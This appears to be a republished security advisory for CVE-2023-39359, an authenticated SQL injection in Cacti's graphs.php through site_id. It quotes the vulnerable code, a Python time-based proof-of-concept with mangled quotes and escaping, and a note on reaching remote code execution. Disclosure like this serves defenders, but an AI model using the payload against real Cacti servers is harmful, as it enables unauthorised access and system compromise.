Headline
CVE-2023-39359: Authenticated SQL injection vulnerability when managing graphs
Cacti is an open source operational monitoring and fault management framework. An authenticated SQL injection vulnerability was discovered which allows authenticated users to perform privilege escalation and remote code execution. The vulnerability resides in the graphs.php
file. When dealing with the cases of ajax_hosts and ajax_hosts_noany, if the site_id
parameter is greater than 0, it is directly reflected in the WHERE clause of the SQL statement. This creates an SQL injection vulnerability. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected versions
< 1.2.25
Patched versions
1.2.25, 1.3.0
Summary
An authenticated SQL injection vulnerability was discovered during the review of this project. This allows authenticated users to exploit the SQL injection vulnerability to perform privilege escalation and remote code execution.
Details
The vulnerability resides in the graphs.php file. When dealing with the cases of ajax_hosts and ajax_hosts_noany, if the site_id parameter is greater than 0, it is directly reflected in the WHERE clause of the SQL statement. This creates an SQL injection vulnerability.
switch (get_request_var(‘action’)) { // … case 'ajax_hosts’: $sql_where = '’; if (get_request_var(‘site_id’) > 0) { $sql_where = 'site_id = ' . get_request_var(‘site_id’); }
get\_allowed\_ajax\_hosts(true, 'applyFilter', $sql\_where);
break;
case 'ajax\_hosts\_noany':
$sql\_where = '';
if (get\_request\_var('site\_id') > 0) {
$sql\_where = 'site\_id = ' . get\_request\_var('site\_id');
}
get\_allowed\_ajax\_hosts(false, 'applyFilter', $sql\_where);
break;
PoC
By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.
import argparse import requests import sys import urllib3
#import os #os.environ[‘http_proxy’] = ‘http://localhost:8080’
sleep_time = 10 payload = f"""1 AND (SELECT 1 FROM (SELECT(SLEEP({sleep_time})))A)“"”
def get_csrf_token(): url = f"{target}/index.php"
res\_body \= session.get(url).content.decode()
csrf\_token \= res\_body.split('var csrfMagicToken = "')\[1\].split('"')\[0\]
if not csrf\_token:
print("\[-\] Unable to find csrf\_token")
sys.exit()
return csrf\_token
def login(username,password): login_url = f"{target}/index.php"
csrf\_token \= get\_csrf\_token()
data \= {'action':'login','login\_username':username,'login\_password':password,'\_\_csrf\_magic':csrf\_token}
res\_body \= session.post(login\_url,data\=data).content.decode()
if 'You are now logged into <' in res\_body:
print('\[+\] Login successful!')
else:
print('\[-\] Login failed. Check your credentials')
sys.exit()
def exploit(): url = f"{target}/graphs.php"
params \= {
'action':'ajax\_hosts',
'site\_id':payload
}
print('\[+\] Sending payload...')
print(f"\[+\] Payload: {payload}")
session.get(url,params\=params)
if __name__==’__main__’: urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graphs.php ‘site_id’ SQL Injection (authenticated)") parser.add_argument('-t’,’–target’,help=’’,required=True) parser.add_argument('-u’,’–username’,help=’’,required=True) parser.add_argument('-p’,’–password’,help=’’,required=True) args = parser.parse_args()
username \= args.username
password \= args.password
target \= args.target
session \= requests.Session()
login(username,password)
exploit()
Impact
This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system’s integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the ‘path_php_binary’ value in the database.
Related news
Debian Linux Security Advisory 5550-1 - Multiple security vulnerabilities have been discovered in Cacti, a web interface for graphing of monitoring systems, which could result in cross-site scripting, SQL injection, an open redirect or command injection.